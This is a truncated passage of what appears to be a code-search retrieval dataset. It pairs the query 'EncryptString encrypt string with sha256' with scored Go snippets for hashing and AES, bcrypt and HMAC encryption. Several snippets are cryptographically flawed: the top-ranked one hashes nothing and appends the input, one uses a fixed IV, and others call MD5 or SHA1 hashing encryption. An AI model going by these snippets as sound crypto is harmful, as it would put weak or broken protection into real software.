len(pn.addressMissing) == 0 {\n\t\t\t\t\t// skip RECEIVING_MARKS_STEP\n\t\t\t\t\tpn.incStep() // FIRE_STEP\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Println(\"THERE IS NO REMOTE TRANSITION TO FIRE\")\n\t\t\t// there's nothing remote to fire, skip to FIRE_STEP\n\t\t\tpn.incStep() // RECEIVING_MARKS_STEP\n\t\t\tpn.incStep() // FIRE_STEP\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5462dbb78c0ea8f9b56a48817a768ab0", "score": "0.4323365", "text": "func (s *Scheduler) Trigger(args ...interface{}) error {\n\treturn s.runner.runOnce(args...)\n}", "title": "" }, { "docid": "ee64f169b64dc76b30dfe5e8990eb7d0", "score": "0.43230185", "text": "func (a *Lives) Draw() {\n\t// Reuse the sprite the Ship object has.\n\tships := a.stage.FindActorsByKind(\"ship\")\n\tif len(ships) == 0 {\n\t\treturn\n\t}\n\tship := ships[0].(*Ship)\n\tfor i := 0; i < a.game.lives; i++ {\n\t\tship.sprite.Draw(a.stage.win, a.Transform().Moved(pixel.V(float64(i)*30.0, 0)))\n\t}\n}", "title": "" }, { "docid": "b0ca7388e0c5df06e7f0269a8d4e1b23", "score": "0.43225017", "text": "func (h *Hand) Run() {\n\t// Get the step location corresponding to the current time.\n\ttarget := h.target(time.Now())\n\t// Move the hand to the target location.\n\tlog.Printf(\"%s: Initial target %d, current %d\", h.Name, target, h.getCurrent())\n\th.moveTo(target)\n\t// Attempt to start a Ticker on the update boundary so that the ticker\n\t// ticks as close as possible on the exact time of the update interval.\n\th.syncTime()\n\tticker := time.NewTicker(h.update)\n\th.Ticking = true\n\tfor {\n\t\t// Receive the time from the ticker, and set the hand to the\n\t\t// target position calculated from the current time.\n\t\th.moveTo(h.target(<-ticker.C))\n\t}\n}", "title": "" }, { "docid": "1c8ff24aec7977cc7dba5bb3d079566e", "score": "0.43174046", "text": "func (h *DefaultFieldHook) Fire(e *logrus.Entry) error {\n\te.Data[\"Service\"] = h.serviceName\n\treturn nil\n}", "title": "" }, { "docid": "ddc22a7375a10b1fefaa9da7f9039164", "score": "0.43154964", "text": "func newWeaponFireMessage(ps net.PlayerSession, ms net.MatchSession) *WeaponFireMessage {\n\treturn &WeaponFireMessage{\n\t\tMessageID: WeaponFireMessageID,\n\t\tPlayerID: ps.ID,\n\t\tMatch: ms.ID,\n\t\tToken: ms.Token,\n\t}\n}", "title": "" }, { "docid": "342ad9380fdf78def299ddcf3cc6596d", "score": "0.4303532", "text": "func (sc Scope) Trigger(event Event) {\n\tsc.TriggerContext(context.Background(), event)\n}", "title": "" } ]
8b5e009ba762e3c43692da9bc5619214
EncryptString encrypt string with sha256
[ { "docid": "984d5e1d51bfa9026c08167a85a91d2e", "score": "0.74402386", "text": "func EncryptString(s string) string {\n\th := sha256.New()\n\treturn fmt.Sprintf(\"%s\", hex.EncodeToString(h.Sum([]byte(s))))\n}", "title": "" } ]
[ { "docid": "d787292ae74f07a7bf71b90d08e24021", "score": "0.7713719", "text": "func EncryptString(text string) string {\r\n\tsha := sha256.Sum256([]byte(text))\r\n\treturn hex.EncodeToString(sha[:])\r\n}", "title": "" }, { "docid": "3adc5bb7bb3f5157f30b5075962f22fb", "score": "0.67583907", "text": "func Encrypt(str string) string {\n\thasher := md5.New()\n hasher.Write([]byte(str))\n return hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "aa3ffb2df8ea298bfa2387a5b4e68017", "score": "0.6566594", "text": "func HashSHA256(s string) (string) {\n h := sha256.New()\n h.Write([]byte(s))\n sha256Hash := hex.EncodeToString(h.Sum(nil))\n return sha256Hash\n}", "title": "" }, { "docid": "1f6cec63495d7bf779bb3c2ce862c4a7", "score": "0.6547416", "text": "func Encrypt(plaintext string) (cryptext string) {\n\tcryptext = fmt.Sprintf(\"%x\", sha1.Sum([]byte(plaintext)))\n\treturn\n}", "title": "" }, { "docid": "36a9159d3a5099cad31f5c4a45aa8724", "score": "0.6546773", "text": "func SHA256string(src string) string {\n\n\tcheck := sha256.New()\n\tcheck.Write([]byte(src))\n\n\treturn hex.EncodeToString(check.Sum(nil))\n}", "title": "" }, { "docid": "84e66b61179e2e2344e113c3dbd25b77", "score": "0.65185946", "text": "func Sha256Crypt(s string) []byte {\n\n\tc := sha256.Sum256([]byte(s))\n\n\tc1 := c[:]\n\n\treturn c1\n}", "title": "" }, { "docid": "18ccc6430c79ed9f1bdc6c5e329836f0", "score": "0.65161115", "text": "func Sha256(str string) string {\n\th := sha256.New()\n\th.Write([]byte(str))\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "0d8d7faec84c41defe7af5a3930c4cba", "score": "0.6506451", "text": "func (pSS *SecuritySpy) encrypt(text string) string {\n\n // key := []byte(keyText)\n plaintext := []byte(text)\n\n block, err := aes.NewCipher(pSS.byteKey)\n if err != nil {\n fmt.Println(\"aes.NewCipher err: \", err)\n panic(err)\n }\n\n // The IV needs to be unique, but not secure. Therefore it's common to\n // include it at the beginning of the ciphertext.\n ciphertext := make([]byte, aes.BlockSize+len(plaintext))\n iv := ciphertext[:aes.BlockSize]\n if _, err := io.ReadFull(rand.Reader, iv); err != nil {\n panic(err)\n }\n\n stream := cipher.NewCFBEncrypter(block, iv)\n stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n // convert to base64\n return base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "e6174e587af68e026d6bd5fe99e96b69", "score": "0.64896965", "text": "func (c *Client) SHA256(text string) string {\n\talgorithm := sha256.New()\n\treturn stringHasher(algorithm, text)\n}", "title": "" }, { "docid": "e23b50e7819ef2bd95fdb081d8f7f010", "score": "0.63714474", "text": "func Sha256(s string) (hash string) {\n\tpass := []byte(s)\n\tbinHash := sha256.Sum256(pass)\n\tdst := make([]byte, hex.EncodedLen(len(binHash)))\n\thex.Encode(dst, binHash[:])\n\treturn string(dst)\n}", "title": "" }, { "docid": "de8ddfcf6d2b35793e5e41308f209a85", "score": "0.6280242", "text": "func Encrypt(stringToEncrypt string, secret string) (string, error) {\n\tif secret == \"\" {\n\t\treturn \"\", errors.New(\"secret key is not defined\")\n\t}\n\tif stringToEncrypt == \"\" {\n\t\treturn \"\", errors.New(\"encrypt string is not defined\")\n\t}\n\t\n\tplaintext := []byte(stringToEncrypt)\n\n\tblock, err := aes.NewCipher([]byte(secret))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"unable to apply new cipher\")\n\t}\n\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"unable to apply new gcm\")\n\t}\n\n\tnonce := make([]byte, aesGCM.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"unable to read data\")\n\t}\n\n\tciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "title": "" }, { "docid": "107d2d6b621e774d4e0d51aad1f0538b", "score": "0.6230172", "text": "func Sha256(input string) string {\n\tsum := sha256.Sum256([]byte(input))\n\thash := fmt.Sprintf(\"%x\", sum)\n\n\treturn hash\n}", "title": "" }, { "docid": "e81ada995dea1413a6a6d4cbd0938ed9", "score": "0.62084955", "text": "func (e encrypt) BySha256() encrypt {\n\tif e.Error != nil {\n\t\treturn e\n\t}\n\tif len(e.input) == 0 {\n\t\treturn e\n\t}\n\tbytes := sha256.Sum256(e.input)\n\te.output = bytes[:]\n\treturn e\n}", "title": "" }, { "docid": "32bfcbed69af6c0b9a51136f4e612cf1", "score": "0.62056684", "text": "func Sha256(passwd string) string {\n\th := sha256.New()\n\th.Write([]byte(passwd))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "31d682fb51c07a8dd43c4fd1e51236d5", "score": "0.61976343", "text": "func encryptString(block_key []byte, value string) (string, error) {\n\tstr, err := encDecStr(block_key, value, true)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString([]byte(str)), nil\n}", "title": "" }, { "docid": "2d52c9f34e64a6838f7058babd95b080", "score": "0.6159846", "text": "func (e *encryptService) Encrypt(input string) (string, error) {\n\thashedBytes, err := bcrypt.GenerateFromPassword([]byte(input), Config.EncryptionCost)\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred while hashing the input (%s): %s\", input, err)\n\t\treturn EmptyInput, ErrCouldNotBeHashed\n\t}\n\treturn string(hashedBytes), nil\n}", "title": "" }, { "docid": "3c529b270a6cfb8c55ea4ac928c5c8e9", "score": "0.612945", "text": "func SHA256(s string) string {\n\tsha256 := sha256.Sum256([]byte(s))\n\treturn fmt.Sprintf(\"%x\", sha256)\n}", "title": "" }, { "docid": "6f80fe15e618bf7dff0fbc9c7d49f026", "score": "0.61126924", "text": "func HashSHA256FromString(input string) (output string) {\n\tsum := sha256.Sum256([]byte(input))\n\n\treturn fmt.Sprintf(\"%x\", sum)\n}", "title": "" }, { "docid": "cefeea5a7fc90eaf5aa6d4e2f97a1c60", "score": "0.6079734", "text": "func SHA256(data string) string {\n\ths := sha256.New()\n\ths.Write([]byte(data))\n\n\treturn fmt.Sprintf(\"%x\", hs.Sum(nil))\n}", "title": "" }, { "docid": "f140a350878e593cc9824e88554bc510", "score": "0.60787547", "text": "func encrypt(data []byte, hashStr string) []byte {\n\tblock, _ := aes.NewCipher([]byte(hashStr))\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext\n}", "title": "" }, { "docid": "6886d108d2a312f85277d256ef3db78b", "score": "0.60486835", "text": "func Sha256Sum(s string) string {\n\th := sha256.New()\n\n\t// new line is added at the end to obtain same output of\n\t// common md5sum cli tools.\n\th.Write([]byte(s + \"\\n\"))\n\thashedpass := h.Sum(nil)\n\n\t// output is in exadecimal format.\n\treturn fmt.Sprintf(\"%x\", hashedpass)\n}", "title": "" }, { "docid": "68b326f6dc2dd6bb5b25d2b89ea0194f", "score": "0.6039043", "text": "func EncryptData(data string) string {\n\tbyteData := []byte(data)\n\thasher := sha1.New()\n\thasher.Write(byteData)\n\tsha := base64.URLEncoding.EncodeToString(hasher.Sum(nil))\n\n\treturn sha\n}", "title": "" }, { "docid": "07334e42adc709574597536dfc039455", "score": "0.602498", "text": "func (ez *Easyapi) hmacSHA1Encrypt(encryptText, encryptKey string) string {\r\n\tkey := []byte(encryptKey)\r\n\tmac := hmac.New(sha1.New, key)\r\n\tmac.Write([]byte(encryptText))\r\n\tvar str string = hex.EncodeToString(mac.Sum(nil))\r\n\t//fmt.Printf(\"[encrypt result] %v\\n\", str)\r\n\treturn str\r\n}", "title": "" }, { "docid": "bb971dd39f2756d8654fcd1c4b3ff765", "score": "0.6020649", "text": "func (s sesDataAccess) hashString(data string) string {\n\thashBytes := sha256.Sum256([]byte(data))\n\treturn url.QueryEscape(base64.RawURLEncoding.EncodeToString(hashBytes[:]))\n}", "title": "" }, { "docid": "e32055cd9c42517bf45b6328c014522c", "score": "0.6016702", "text": "func (c *Noop) Encrypt(_ context.Context, message []byte) (string, error) {\n\treturn hex.EncodeToString(message), nil\n}", "title": "" }, { "docid": "5b94273645641b35ee961ef995d3b1d2", "score": "0.6001821", "text": "func HashString(s string) string {\n\treturn HashString256(s)\n}", "title": "" }, { "docid": "b67c2b8c02dec71dff3fbebe0e1a123b", "score": "0.59887415", "text": "func signString(in string, key string) string {\n\tmac := hmac.New(sha256.New, []byte(key))\n\n\t// This should never fail. Famous last words.\n\t_, _ = mac.Write([]byte(in))\n\n\treturn fmt.Sprintf(\"%x\", (mac.Sum(nil)))\n}", "title": "" }, { "docid": "2da318f0a032db81487b254180b93d27", "score": "0.59618396", "text": "func hmacSha256(secret []byte, data string) string {\r\n\th := hmac.New(sha256.New, secret)\r\n\th.Write([]byte(data))\r\n\treturn hex.EncodeToString(h.Sum(nil))\r\n}", "title": "" }, { "docid": "f83cdc55c8ececbd1990be47cb7ce3b5", "score": "0.59509754", "text": "func EncryptString(plainText string) (cipherTextString string, err error) {\n\tkeyString := os.Getenv(\"SECRETKEYEMAILPW\")\n\tkey := hashTo32Bytes(keyString)\n\tencrypted, err := encryptAES(key, []byte(plainText))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(encrypted), nil\n}", "title": "" }, { "docid": "647e1c4dc0d75ce322e4952f6f4b32f7", "score": "0.5927257", "text": "func Hash(input string) string {\n\treturn fmt.Sprintf(\"%x\", sha256.Sum256([]byte(input)))\n}", "title": "" }, { "docid": "612d9d774216526e6aa1ea61828b8ff0", "score": "0.5910562", "text": "func Encrypt(content string, salt string, encrptAlg string) string {\n\treturn fmt.Sprintf(\"%x\", pbkdf2.Key([]byte(content), []byte(salt), 4096, 16, HashAlg[encrptAlg]))\n}", "title": "" }, { "docid": "612d9d774216526e6aa1ea61828b8ff0", "score": "0.5910562", "text": "func Encrypt(content string, salt string, encrptAlg string) string {\n\treturn fmt.Sprintf(\"%x\", pbkdf2.Key([]byte(content), []byte(salt), 4096, 16, HashAlg[encrptAlg]))\n}", "title": "" }, { "docid": "4fb930ad2006a1c35fc6a5372ef9e0e9", "score": "0.5902748", "text": "func Encrypt(input string, key string) (string, error) {\n\n\tdecodedKey, _ := hex.DecodeString(key)\n\tplaintext := []byte(input)\n\n\tblock, err := aes.NewCipher(decodedKey)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := gcm.Seal(nonce, nonce, plaintext, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "title": "" }, { "docid": "1917d8cc2204bd72f82bc97625012032", "score": "0.5890598", "text": "func HashIt(text string) string {\n\th := md5.New()\n\tsum := h.Sum([]byte(text))\n\tcryptoText := base64.URLEncoding.EncodeToString(sum)\n\treturn cryptoText\n}", "title": "" }, { "docid": "9cd0b26b858da49e907f10924f928f61", "score": "0.5873759", "text": "func SHA256Hash(salt, input string) (string, error) {\n\tsum := sha256.Sum256([]byte(salt + input))\n\treturn hex.EncodeToString(sum[:]), nil\n}", "title": "" }, { "docid": "408db523a462ad8eb87e9938449c3068", "score": "0.586676", "text": "func encrypt(plainText string, key string) (secretText string, err error) {\n\tiv := []byte(_IV)\n\tvar block cipher.Block\n\tif block, err = aes.NewCipher([]byte(key)); err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tencrypt := cipher.NewCBCEncrypter(block, iv)\n\tvar source = pkcs5pad([]byte(plainText), 16)\n\tvar dst = make([]byte, len(source))\n\tencrypt.CryptBlocks(dst, source)\n\tsecretText = base64.StdEncoding.EncodeToString(dst)\n\treturn\n}", "title": "" }, { "docid": "2eb56b1aaeceac9d25b1b0e7428db324", "score": "0.5866685", "text": "func (authObject *GitAuthObject) Encrypt(secret, key string) (encrypted string, err error) {\n\t// TODO: Sodium encrypt https://help.github.com/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets\n\n\treturn\n}", "title": "" }, { "docid": "86617cd1816b8a6dea0ca8e324c62a3f", "score": "0.5851239", "text": "func (v *VaultSource) encrypt(data []byte) (string, error) {\n\tsealed, e := crypto.Seal(crypto.KeyFromPassword(v.masterPass, 32), data)\n\tif e != nil {\n\t\treturn \"\", e\n\t}\n\treturn base64.StdEncoding.EncodeToString(sealed), nil\n}", "title": "" }, { "docid": "205901b465663a647f1da73db86f6991", "score": "0.5838273", "text": "func Encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn \"\"\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tlog.Println(err)\n\t\treturn \"\"\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "e5bb677d86c63cd8cda70b603118eeb9", "score": "0.5836014", "text": "func _SHA256(input []byte) []byte {\n\tctx := sha256.New()\n\t_, err := ctx.Write(input)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn ctx.Sum([]byte(\"\"))\n}", "title": "" }, { "docid": "425198ff9356b2ecae6a4555d0c33cb8", "score": "0.58328044", "text": "func encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(crand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "2b6eb56dda81bd6505f803e86b4b7e9b", "score": "0.58273304", "text": "func EncryptString(str string, cost int) ([]byte, error) {\n\tbytes, err := bcrypt.GenerateFromPassword([]byte(str), cost)\n\treturn bytes, err\n}", "title": "" }, { "docid": "ea43ae35b4e57c62bf78919131d82f0e", "score": "0.58234715", "text": "func Sha256(value string) string {\n\talg := sha256.New()\n\talg.Write([]byte(value))\n\n\thash := alg.Sum(nil)\n\treturn base64.StdEncoding.EncodeToString(hash)\n}", "title": "" }, { "docid": "16df4f1abe6023fb2b940b4ff85a0a10", "score": "0.58231026", "text": "func sha256sum(data string) string {\n\thash := sha256.Sum256([]byte(data))\n\treturn base64.StdEncoding.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "bd5472e280710fd6c0c961937021829d", "score": "0.5804201", "text": "func Encrypt(text string) (string, error) {\n\tkey, err := cryptKey()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipher.NewCFBEncrypter(block, iv).XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext), nil\n}", "title": "" }, { "docid": "752927ee72bc5327b10d3e8a6059efea", "score": "0.58002305", "text": "func Hash(plaintext string) (sha string) {\n\treturn fmt.Sprintf(\"%s\", sha256.Sum256([]byte(plaintext)))\n}", "title": "" }, { "docid": "37ce792d0d1e9e55b04528effaa2c786", "score": "0.57887197", "text": "func encrypt(key []byte, text string) string {\n\t//key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tglog.Errorln(err)\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "46d49994e21d36d678d54bc30d987945", "score": "0.5780572", "text": "func AESEncrypt(key []byte, text string) (string, error) {\n\tplaintext := []byte(text)\n\n\tkey = fixLengthKeyHash(key)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext), nil\n}", "title": "" }, { "docid": "2b0d19c500152704396e4c251c85e152", "score": "0.57765436", "text": "func Encrypt(text string) (string, error) {\n\tencrypter, err := newEncrypter()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"new encrypter\")\n\t}\n\n\ttextData := []byte(text)\n\ttextData = pkcs7Padding(textData, blockSize)\n\tcryted := make([]byte, len(textData))\n\tencrypter.CryptBlocks(cryted, textData)\n\treturn base64.RawStdEncoding.EncodeToString(cryted), nil\n}", "title": "" }, { "docid": "eeb57f740b7d7381ce724a62b2e91d04", "score": "0.57740664", "text": "func Encrypt(password string) (string, error) {\n\tplaintext := []byte(password)\n\tAESblock, err := aes.NewCipher(plaintext)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := cipherText[:aes.BlockSize]\n\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", nil\n\t}\n\n\tstream := cipher.NewCFBEncrypter(AESblock, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plaintext)\n\n\t//returns to base64 encoded string\n\tcipherString := base64.StdEncoding.EncodeToString(cipherText)\n\n\treturn cipherString, nil\n}", "title": "" }, { "docid": "f554d9814ffc239f746476b719374d5b", "score": "0.5761186", "text": "func encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "f554d9814ffc239f746476b719374d5b", "score": "0.5761186", "text": "func encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "a922d80756e4664d8eee6c8eb1a390c8", "score": "0.5752616", "text": "func encrypt(key []byte, message string) (encmess string, err error) {\n\tplainText := []byte(message)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\n\t//returns to base64 encoded string\n\tencmess = base64.URLEncoding.EncodeToString(cipherText)\n\n\treturn\n}", "title": "" }, { "docid": "2fe93394aef908ff9ba4d4f0b582805f", "score": "0.5750717", "text": "func (s *Sha512) Encrypt() string {\n\th := sha512.New()\n\th.Write([]byte(s.Texto))\n\n\tif s.Hash != \"\" {\n\t\treturn fmt.Sprintf(\"%x\", h.Sum([]byte(s.Hash)))\n\t}\n\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)[:])\n}", "title": "" }, { "docid": "4ecfb607906b37b9cd64ad583d7d98a6", "score": "0.5735554", "text": "func EncryptString(str string, cost int) (string, error) {\n\tbytes, err := bcrypt.GenerateFromPassword([]byte(str), cost)\n\treturn string(bytes), err\n}", "title": "" }, { "docid": "9ec825f5aa751951c6b5cefa48dc7ebd", "score": "0.572879", "text": "func newSHA256() hash.Hash { return sha256.New() }", "title": "" }, { "docid": "d60990b9d2424022309384f9d224d9b1", "score": "0.57241875", "text": "func Hash256(i interface{}) string {\n\th := sha256.New()\n\tinBytes, _ := json.Marshal(i)\n\th.Write(inBytes)\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "3a2ca93e75952751703ae9c3d96c4109", "score": "0.57178795", "text": "func Encrypt(key, text string) string {\n\t// Convert the text to encrpyt into a byte array and then pad the array to make sure it is in blocks of 16\n\tciphertext := []byte(text)\n\tciphertext = pad(ciphertext)\n\n\t// Check that the bytes in the text array are devisable by the block size. This is required for the encrytion\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\tpanic(\"Cipher text is \" + strconv.Itoa(len(ciphertext)) + \" long but should be \" + strconv.Itoa(aes.BlockSize))\n\t} else {\n\t\t// Create a new cipher using the key you want to use. IMPORTANT!!!!! The key needs to be 32 characters long\n\t\tblock, err := aes.NewCipher([]byte(key))\n\n\t\tif err != nil {\n\t\t\tpanic(\"Error creating cipher\")\n\t\t} else {\n\t\t\t// Set up the encrypter\n\t\t\tmode := cipher.NewCBCEncrypter(block, iv)\n\n\t\t\t// Encrypt the string\n\t\t\tmode.CryptBlocks(ciphertext, ciphertext)\n\n\t\t\t// We need to convert the encrypted string into something that ca be passed. We convert it into a hex string.\n\t\t\treturn hex.EncodeToString(ciphertext)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a9726c8dde823c79239fcb0361777019", "score": "0.57171035", "text": "func Encrypt(data string, salt string) (string, error) {\n\thash := md5.New()\n\t_, err := hash.Write([]byte(salt))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcipher := hash.Sum(nil)\n\n\tbuf := new(bytes.Buffer)\n\tbuf.Write(cipher)\n\tbuf.WriteString(data)\n\t_, err = hash.Write(buf.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.EncodeToString(hash.Sum(nil)), nil\n}", "title": "" }, { "docid": "df6f5a7b08171a3d5478cd904fd750e7", "score": "0.5715159", "text": "func Encrypt(key []byte, text string) (string, error) {\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext), nil\n}", "title": "" }, { "docid": "341efe57603c58e463a7d0a7f55d6288", "score": "0.5711819", "text": "func EncryptString(str string) (string, error) {\n\thBytes, err := bcrypt.GenerateFromPassword([]byte(str), bcrypt.MinCost)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(hBytes), nil\n}", "title": "" }, { "docid": "34a9de5d830d5813735bbca38cea4a48", "score": "0.570743", "text": "func Encrypt(s *symbols.SymbolTable, args []interface{}) (interface{}, error) {\n\tb, err := util.Encrypt(util.GetString(args[0]), util.GetString(args[1]))\n\tif err != nil {\n\t\treturn b, err\n\t}\n\treturn hex.EncodeToString([]byte(b)), nil\n\n}", "title": "" }, { "docid": "ef8dd365e181d8373cff3309d2ed79a1", "score": "0.5700526", "text": "func EncryptString(key, nonce []byte, s string) (string, error) {\n\tciphertext, err := GCMEncrypt(key, nonce, []byte(s))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn Base64EncodeEncryptedString(ciphertext), nil\n}", "title": "" }, { "docid": "e10cb2d40eaa545e56cbc59c7b691cfe", "score": "0.5686492", "text": "func encrypt(secret string) (string, error) {\n\tif len(secret) == 0 {\n\t\treturn secret, nil\n\t}\n\n\tencrypted, err := utils.ReversibleEncrypt(secret, config.Config.SecretKey)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn encrypted, nil\n}", "title": "" }, 